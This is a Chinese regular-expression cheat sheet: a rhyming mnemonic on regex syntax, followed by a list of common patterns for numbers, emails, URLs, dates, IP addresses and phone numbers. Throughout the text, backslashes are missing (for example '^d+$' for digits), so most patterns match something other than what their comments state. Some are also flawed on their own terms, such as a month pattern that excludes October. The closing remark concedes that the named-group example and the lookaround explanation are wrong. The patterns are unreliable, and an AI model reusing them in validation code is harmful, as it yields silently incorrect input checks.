    倒杠后面跟小w, 数字字母来表示; (w跟数字字母;d跟数字)
    倒杠后面跟小d, 只有数字来表示;
    倒杠后面跟小a, 报警符号嘀一声;
    倒杠后面跟小b, 单词分界或退格;
    倒杠后面跟小t, 制表符号很明了;
    倒杠后面跟小r, 回车符号知道了;
    倒杠后面跟小s, 空格符号很重要;
    小写跟罢跟大写,多得实在不得了;
    倒杠后面跟大W, 字母数字靠边站;
    倒杠后面跟大S, 空白也就靠边站;
    倒杠后面跟大D, 数字从此靠边站;
    倒框后面跟大B, 不含开头和结尾;
    单个字符要重复,三个符号来帮忙; (* + ?)
    0 星加1 到无穷,问号只管0 和1; (*表0-n;+表1-n;?表0-1次重复)
    花括号里学问多,重复操作能力强; ({n} {n,} {n,m})
    若要重复字符串,园括把它括起来; ((abc){3} 表示字符串“abc”重复3次 )
    特殊集合自定义,中括号来帮你忙;
    转义符号行不通,一个一个来排队;
    实在多得排不下,横杠请来帮个忙; ([1-5])
    尖头放进中括号,反义定义威力大; ([^a]指除“a”外的任意字符 )
    1竖作用可不小,两边正则互替换; (键盘上与“”是同一个键)
    1竖能用很多次,复杂定义很方便;
    园括号,用途多;
    反向引用指定组,数字排符对应它; (“b(w+)bs+1b”中的数字“1”引用前面的“(w+)”)
    支持组名自定义,问号加上尖括号; (“(?<Word>w+)”中把“w+”定义为组,组名为“Word”)
    园括号,用途多,位置指定全靠它;
    问号等号字符串,定位字符串前面; (“bw+(?=ingb)”定位“ing”前面的字符串)
    若要定位串后面,中间插个小于号; (“(?<=bsub)w+b”定位“sub”后面的字符串)
    问号加个惊叹号,后面跟串字符串;
    是地球人都知道, !是取反的意思;
    后面不跟这一串,统统符合来报到; (“w*d(?!og)w*”,“dog”不符合,“do”符合)
    问号小于惊叹号,后面跟串字符串;
    前面不放这一串,统统符合来报到;
    点号星号很贪婪,加个问号不贪婪;
    加号问号有保底,至少重复一次多;
    两个问号老规矩,0次1次团团转;
    花括号后跟个?,贪婪变成不贪婪;
    还有很多装不下,等着以后来增加。

    一些常用的正则表达式
    “^d+$”  //非负整数(正整数 + 0)
    “^[0-9]*[1-9][0-9]*$”  //正整数
    “^((-d+)|(0+))$”  //非正整数(负整数 + 0)
    “^-[0-9]*[1-9][0-9]*$”  //负整数
    “^-?d+$”    //整数
    “^d+(.d+)?$”  //非负浮点数(正浮点数 + 0)
    “^(([0-9]+.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*.[0-9]+)|([0-9]*[1-9][0-9]*))$”  //正浮点数
    “^((-d+(.d+)?)|(0+(.0+)?))$”  //非正浮点数(负浮点数 + 0)
    “^(-(([0-9]+.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*.[0-9]+)|([0-9]*[1-9][0-9]*)))$”  //负浮点数
    “^(-?d+)(.d+)?$”  //浮点数
    “^[A-Za-z]+$”  //由26个英文字母组成的字符串
    “^[A-Z]+$”  //由26个英文字母的大写组成的字符串
    “^[a-z]+$”  //由26个英文字母的小写组成的字符串
    “^[A-Za-z0-9]+$”  //由数字和26个英文字母组成的字符串
    “^w+$”  //由数字、26个英文字母或者下划线组成的字符串
    “^[w-]+(.[w-]+)*@[w-]+(.[w-]+)+$”    //email地址
    “^[a-zA-z]+://(w+(-w+)*)(.(w+(-w+)*))*(?S*)?$”  //url
    /^(d{2}|d{4})-((0([1-9]{1}))|(1[1|2]))-(([0-2]([1-9]{1}))|(3[0|1]))$/ // 年-月-日
    /^((0([1-9]{1}))|(1[1|2]))/(([0-2]([1-9]{1}))|(3[0|1]))/(d{2}|d{4})$/ // 月/日/年
    “^([w-.]+)@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.)|(([w-]+.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(]?)$” //Emil
    “(d+-)?(d{4}-?d{7}|d{3}-?d{8}|^d{7,8})(-d+)?” //电话号码
    “^(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5])$” //IP地址
    匹配中文字符的正则表达式: [u4e00-u9fa5]
    匹配双字节字符(包括汉字在内):[^x00-xff]
    匹配空行的正则表达式:n[s| ]*r
    匹配HTML标记的正则表达式:/<(.*)>.*</1>|<(.*) />/
    匹配首尾空格的正则表达式:(^s*)|(s*$)
    匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*
    匹配网址URL的正则表达式:^[a-zA-z]+://(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\S*)?$
    匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
    匹配国内电话号码:(d{3}-|d{4}-)?(d{8}|d{7})?
    匹配腾讯QQ号:^[1-9]*[1-9][0-9]*$

    看完了口诀,里边总计的内容很多。但关于命名组的示例是错的,还有环视的描述是不准确的,环视不占有字符,是进行位置的匹配,在某个点进行前窥后探。